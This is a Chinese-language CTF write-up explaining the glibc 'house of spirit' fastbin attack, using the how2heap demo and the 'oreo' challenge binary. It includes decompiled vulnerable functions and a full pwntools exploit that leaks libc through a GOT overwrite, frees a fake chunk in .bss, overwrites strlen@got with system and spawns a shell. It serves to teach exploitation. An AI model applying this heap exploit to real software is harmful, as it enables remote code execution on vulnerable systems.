House of Spirit 原理 终于正式步入了houseof系列!!
house of spirit 其实也属于fastbin attack。简单来讲就是伪造一个chunk,不论这个chunk在什么位置,使之能够满足被free的条件,之后再将其malloc出来,因为malloc到了一个我们可控的区域,就有希望继续为所欲为。
依旧heap-explotation举例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range }; struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory // fake_chunks[0] at 0x7ffe220c5ca0 // fake_chunks[1] at 0x7ffe220c5ce0 void *ptr, *victim; ptr = malloc(0x30); // First malloc // Passes size check of "free(): invalid size" fake_chunks[0].size = sizeof(struct fast_chunk); // 0x40 // Passes "free(): invalid next size (fast)" fake_chunks[1].size = sizeof(struct fast_chunk); // 0x40 // Attacker overwrites a pointer that is about to be 'freed' ptr = (void *)&fake_chunks[0].fd; // fake_chunks[0] gets inserted into fastbin free(ptr); victim = malloc(0x30); // 0x7ffe220c5cb0 address returned from malloc
可以看见最后malloc到了fakechunk的位置,之后具体的利用以oreo举例
oreo 条件 1.malloc1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 unsigned int add() { rifle *v1; // [esp+18h] [ebp-10h] unsigned int v2; // [esp+1Ch] [ebp-Ch] v2 = __readgsdword(0x14u); v1 = head; head = (rifle *)malloc(0x38u); if ( head ) { head->next = v1; printf("Rifle name: "); fgets(head->name, 0x38, stdin); cut_enter(head->name); printf("Rifle description: "); fgets(head->descript, 0x38, stdin); cut_enter(head->descript); ++rifle_cnt; } else { puts("Something terrible happened!"); } return __readgsdword(0x14u) ^ v2; } 分析得到的结构体, name及description存在明显的溢出。 00000000 rifle struc ; (sizeof=0x38, mappedto_5) 00000000 descript db 25 dup(?) 00000019 name db 27 dup(?) 00000034 next dd ? ; offset 00000038 rifle ends
2.show
通过i->next遍历所有的malloc结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 unsigned int show_rifles() { rifle *i; // [esp+14h] [ebp-14h] unsigned int v2; // [esp+1Ch] [ebp-Ch] v2 = __readgsdword(0x14u); printf("Rifle to be ordered:\n%s\n", "==================================="); for ( i = head; i; i = i->next ) { printf("Name: %s\n", i->name); printf("Description: %s\n", i); puts("==================================="); } return __readgsdword(0x14u) ^ v2; }
3.message
给了一块0x80大小的可以写notice的内存,给了我们伪造bypass fakechunk检查的机会
1 2 3 4 5 6 7 8 9 10 unsigned int message() { unsigned int v0; // ST1C_4 v0 = __readgsdword(0x14u); printf("Enter any notice you'd like to submit with your order: "); fgets(notice, 0x80, stdin); cut_enter(notice); return __readgsdword(0x14u) ^ v0; }
思路 在上面的条件之下,我们便有了机会利用house of spirit 的机会,注意到bss段变量的存放顺序–>
1 2 3 4 5 6 7 8 9 10 .bss:0804A288 head .bss:0804A288 .bss:0804A28C .bss:0804A2A0 order_num .bss:0804A2A0 .bss:0804A2A4 rifle_cnt .bss:0804A2A4 .bss:0804A2A8 ; char *notice .bss:0804A2A8 notice .bss:0804A2A8
而程序中仅有固定的malloc(0x38),分配出来的chunk size应该为0x41,我们可以想到,当malloc足够的chunk时,rifle_cnt将可以达到0x40,为了绕过free fastbin的检查我们就需要在notice中伪造nextchunk的pre_size 及size,这个很容易以做到。 伪造完成后,因为add中存在对name的溢出,那么如果将其溢出至rifle->next的位置,填入任一函数的got地址,那么在show时便足以泄露实际地址然后得到system,/bin/sh的地址。之后便将其溢出为fakechunk处,为之后的free做好准备。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 from pwn import * context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] if args['DEBUG']: context.log_level = 'debug' context.binary = "./oreo" oreo = ELF("./oreo") if args['REMOTE']: p = remote(ip, port) else: p = process("./oreo") log.info('PID: ' + str(proc.pidof(p)[0])) libc = ELF('./libc.so.6') def add(descrip, name): p.sendline('1') #p.recvuntil('Rifle name: ') p.sendline(name) #p.recvuntil('Rifle description: ') #sleep(0.5) p.sendline(descrip) def show_rifle(): p.sendline('2') p.recvuntil('===================================\n') def order(): p.sendline('3') def message(notice): p.sendline('4') #p.recvuntil("Enter any notice you'd like to submit with your order: ") p.sendline(notice) def exp(): print 'step 1. leak libc base' name = 27 * 'a' + p32(oreo.got['puts']) add(25 * 'a', name) show_rifle() p.recvuntil('===================================\n') p.recvuntil('Description: ') puts_addr = u32(p.recvuntil('\n', drop=True)[:4]) log.success('puts addr: ' + hex(puts_addr)) libc_base = puts_addr - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + next(libc.search('/bin/sh')) print "binsh_addr: " + hex(binsh_addr) print 'step 2. free fake chunk at 0x0804A2A8' # now, oifle_cnt=1, we need set it = 0x40 oifle = 1 while oifle < 0x3f: # set next link=NULL add(25 * 'a', 'a' * 27 + p32(0)) oifle += 1 payload = 'a' * 27 + p32(0x0804a2a8) # set next link=0x0804A2A8, try to free a fake chunk add(25 * 'a', payload) # before free, we need to bypass some check # fake chunk's size is 0x40 # 0x20 *'a' for padding the last fake chunk # 0x40 for fake chunk's next chunk's prev_size # 0x100 for fake chunk's next chunk's size # set fake iofle' next to be NULL payload = 0x20 * '\x00' + p32(0x40) + p32(0x100) payload = payload.ljust(52, 'b') payload += p32(0) payload = payload.ljust(128, 'c') message(payload) # fastbin 0x40: 0x0804A2A0->some where heap->NULL order() p.recvuntil('Okay order submitted!\n') print 'step 3. get shell' # modify strlen@got to system addr // don't know why modified free@got addr could't get shell payload = p32(oreo.got['strlen']).ljust(20, 'a') add(payload, 'b' * 20) log.success('system addr: ' + hex(system_addr)) #gdb.attach(p) message(p32(system_addr) + ';/bin/sh\x00') p.interactive()